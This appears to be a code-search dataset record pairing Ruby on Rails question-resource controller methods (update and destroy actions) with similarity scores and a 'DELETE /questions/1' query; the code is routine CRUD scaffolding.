"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"Question was successfully updated.\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to [@category, @question], notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to :planner, notice: 'Question was successfully updated.' }\n format.json { respond_with_bip(@question) }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to quiz_path(@question.subsection_id), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @questions_option = QuestionsOption.find(params[:id])\n\n respond_to do |format|\n if @questions_option.update_attributes(params[:questions_option])\n format.html { redirect_to @questions_option, notice: 'Questions option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questions_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'La pregunta fue modificada correctamente.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n if @questionset.update_attributes(params[:questionset])\n format.html { redirect_to @questionset, notice: 'Questionset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end",
"def update\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n if @question_set.update_attributes(params[:question_set])\n format.html { redirect_to @question_set, notice: 'Question set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # before_action :set_question\n #before_action :set_tag\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"更新しました\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n format.js { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n format.js { head :unprocessable_entity }\n end\n end\n end",
"def update\n authorize_action_for @question\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n qp = question_params\n if qp[:question_type] == \"vignette\" or qp[:question_type] == \"nonchoice\"\n qp[:answer] = \"\"\n end\n\n respond_to do |format|\n if @question.update(qp)\n format.html { redirect_to paper_questions_path(question_params[:paper_id],question_params[:id]), notice: '題目已被成功編輯' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { redirect_to edit_paper_question_path, notice: '上傳檔案大小不可超過500KB' }\n format.json { render json: paper_questions_path.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n \n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end",
"def update\n @question = @quiz.questions.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(quiz_questions_path(@quiz)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_question.update(test_question_params)\n format.html { redirect_to @test_question, notice: 'Test question was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_question }\n else\n format.html { render :edit }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t if @question.update_attributes(params[:question])\n\t\tformat.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def update\n if @question.status == 'published' || @question.version_independent_id != question_params[:version_independent_id]\n render json: @question.errors, status: :unprocessable_entity\n else\n update_response_sets(params)\n @question.update_concepts('Question')\n @question.updated_by = current_user\n if @question.update(question_params)\n @question.groups.each do |group|\n @question.add_to_group(group.id)\n end\n render :show, status: :ok, location: @question\n else\n @categories = Category.all\n render json: @question.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n question = Question.find(params[:id])\n authorize question\n\n new_version = question.template.generate_version?\n\n old_question_ids = {}\n if new_version\n # get a map from option number to id\n old_number_to_id = {}\n question.question_options.each do |opt|\n old_number_to_id[opt.number] = opt.id\n end\n\n # get a map from question versionable id to old id\n question.template.questions.each do |q|\n old_question_ids[q.versionable_id] = q.id\n end\n end\n\n question = get_modifiable(question)\n\n question_id_map = {}\n if new_version\n # params now out of sync (after versioning) with the question_options\n # so when we do the question.update it'll mess up\n # need to remap params to keep them consistent\n old_to_new_opts = {}\n question.question_options.each do |opt|\n old_id = old_number_to_id[opt.number]\n old_to_new_opts[old_id.to_s] = opt.id.to_s\n end\n\n question.template.questions.each do |q|\n question_id_map[old_question_ids[q.versionable_id].to_s] = q.id.to_s\n end\n end\n\n # rewrite the question_option ids so they match the new\n # version of the question\n # and also rewrite the remove_data question ids\n attrs = question_params\n attrs = update_option_ids(attrs, old_to_new_opts) if new_version && !attrs['question_options_attributes'].nil?\n\n # Need to reattach the incoming annotation's and question_options to the\n # modifiable (versioned) question\n attrs = transfer_associations(attrs, question) if new_version\n\n # If the user unchecked all of the themes set the association to an empty array\n # add check for number present to ensure this is not just an annotation\n attrs[:theme_ids] = [] if attrs[:theme_ids].blank? && attrs[:number].present?\n if question.update(attrs)\n if question.update_conditions(sanitize_hash(params['conditions']),\n old_to_new_opts, question_id_map)\n flash.now[:notice] = success_message(question, _('updated'))\n end\n else\n flash.now[:alert] = flash.now[:alert] = failure_message(question, _('update'))\n end\n if question.section.phase.template.customization_of.present?\n redirect_to org_admin_template_phase_path(\n template_id: question.section.phase.template.id,\n id: question.section.phase.id,\n section: question.section.id\n )\n else\n redirect_to edit_org_admin_template_phase_path(\n template_id: question.section.phase.template.id,\n id: question.section.phase.id,\n section: question.section.id\n )\n end\n end",
"def update\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n if @intake_question.update_attributes(params[:intake_question])\n format.html { redirect_to @intake_question, notice: 'Intake question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intake_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n authorize! :update, @admin_question\n\n respond_to do |format|\n if @admin_question.update(admin_question_params)\n format.html { redirect_to @admin_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_question_content\n question_params = params.require(:question).permit(:id, :content)\n\n render json: Question.update_question_content(question_params)\n end",
"def update\n check_delete_flg\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n if @critical_question.update_attributes(params[:critical_question])\n format.html { redirect_to @critical_question, notice: 'Critical question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n if @cards_question.update_attributes(params[:cards_question])\n format.html { redirect_to @cards_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cards_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @examquestion.update(examquestion_params)\n format.html { redirect_to @examquestion, notice: 'Examquestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @examquestion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.js\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n redirect_to \"/\"\n\n # respond_to do |format|\n # if @question.update(question_params)\n # format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n # format.json { render :show, status: :ok, location: @question }\n # else\n # format.html { render :edit }\n # format.json { render json: @question.errors, status: :bad_request }\n # end\n # end\n end",
"def update\n respond_to do |format|\n if @add_question.update(add_question_params)\n format.html { redirect_to @add_question, notice: 'Add question was successfully updated.' }\n format.json { render :show, status: :ok, location: @add_question }\n else\n format.html { render :edit }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n if @survey_question.update_attributes(params[:survey_question])\n format.html { redirect_to survey_questions_path(@survey_question.survey_id),\n notice: 'Survey question was successfully updated.' }\n #format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n #format.json { render json: @survey_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n if @poll_question.update_attributes(params[:poll_question])\n format.html { redirect_to @poll_question, notice: 'Poll question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poll_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(@question) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mongo_question.update(mongo_question_params)\n format.html { redirect_to @mongo_question, notice: 'Mongo question was successfully updated.' }\n format.json { render :show, status: :ok, location: @mongo_question }\n else\n format.html { render :edit }\n format.json { render json: @mongo_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @questionset.update(questionset_params)\n format.html { redirect_to @questionset, notice: 'Questionset was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionset }\n else\n format.html { render :edit }\n format.json { render json: @questionset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @b_question.update(b_question_params)\n format.html { redirect_to @b_question }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @b_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n format.html { redirect_to @faq, notice: 'FAQ atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @subjects = Subject.all\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template_question.update(template_question_params)\n format.html { redirect_to @template_question, notice: 'Template question was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_question }\n else\n format.html { render :edit }\n format.json { render json: @template_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :edit, @questionnaire\n\n @questionnaire.load_JSON(params[:questionnaire], current_user)\n\n respond_to do |format|\n# if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Kysymyslomakkeen muokkaaminen onnistui.' }\n format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n# end\n\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update_question\n @question = Question.find(params[:id])\n @question.update(params[:question])\n redirect \"/questions/#{@question.id}\"\n end"
] | [
"0.71827537",
"0.7080452",
"0.6957011",
"0.69225276",
"0.68890774",
"0.68794495",
"0.6878509",
"0.68206614",
"0.68206614",
"0.68206614",
"0.68206614",
"0.68206614",
"0.68135905",
"0.6812396",
"0.68111",
"0.67370677",
"0.6734405",
"0.6730357",
"0.6722659",
"0.66943765",
"0.66786146",
"0.6669409",
"0.6669409",
"0.6669409",
"0.6654155",
"0.6624363",
"0.66168785",
"0.6595216",
"0.6581836",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.65305257",
"0.6512795",
"0.64888537",
"0.6487212",
"0.6482135",
"0.6482133",
"0.64741224",
"0.64697886",
"0.646587",
"0.64517677",
"0.64359546",
"0.6419892",
"0.64138305",
"0.64099157",
"0.64068013",
"0.63862157",
"0.637159",
"0.63650763",
"0.635663",
"0.6348408",
"0.63195664",
"0.63157743",
"0.6310237",
"0.6304057",
"0.630294",
"0.6301251",
"0.6285973",
"0.6285973",
"0.6285973",
"0.6285973",
"0.6285973",
"0.6281676",
"0.6279483",
"0.6277231",
"0.6272905",
"0.62655765",
"0.6258734",
"0.6251745",
"0.6244916",
"0.6243084",
"0.62416404",
"0.62358963",
"0.6234154",
"0.62271726",
"0.62158066",
"0.6196422",
"0.6187127",
"0.6177977",
"0.61775386",
"0.6173282",
"0.6169598",
"0.61689615",
"0.6165746",
"0.6163865",
"0.6162539"
] | 0.0 | -1 |
DELETE /questions/1 DELETE /questions/1.json | def destroy
@question.destroy
respond_to do |format|
format.html { redirect_to questions_url, notice: 'DNS was successfully removed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @v1_question.destroy\n render json: {'message': 'Deleted question successfully'}, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n\n end",
"def destroy\n @api_v1_question.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n\tend",
"def delete_question\n question_params = params.permit(:id, :form_id, :question_type_id)\n\n render json: Question.delete_question(question_params)\n end",
"def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_path }\n format.json { head :no_content }\n end\n end",
"def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end",
"def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.active = [email protected]\n\n questions_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, questions_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully deleted\"\n redirect_to questions_path\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'La pregunta ha sido eliminada!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n head :no_content\n end",
"def destroy\n @b_question.destroy\n respond_to do |format|\n format.html { redirect_to questions_path }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def destroy\n @base_question = BaseQuestion.find(params[:id])\n @base_question.destroy\n\n respond_to do |format|\n format.html { redirect_to base_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: \"Question was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionable = @question.questionable\n @question.destroy\n respond_to do |format|\n format.html\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionset = Questionset.find(params[:id])\n @questionset.destroy\n\n respond_to do |format|\n format.html { redirect_to questionsets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, :notice => 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n\n @question.destroy\n \n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @add_question.destroy\n respond_to do |format|\n format.html { redirect_to add_questions_url, notice: 'Add question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to paper_questions_path, notice: '題目已被成功刪除' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to category_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '質問を削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey_question = SurveyQuestion.find(params[:id])\n @survey_question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_questions_url }\n # format.json { head :no_content }\n end\n end",
"def destroy\n #na real, cada question pertence a um quiz, basta achar a question de mesma id\n @qq = QuizQuestion.where(question: @question)\n @qq.destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.xml { head :ok }\n end\n end",
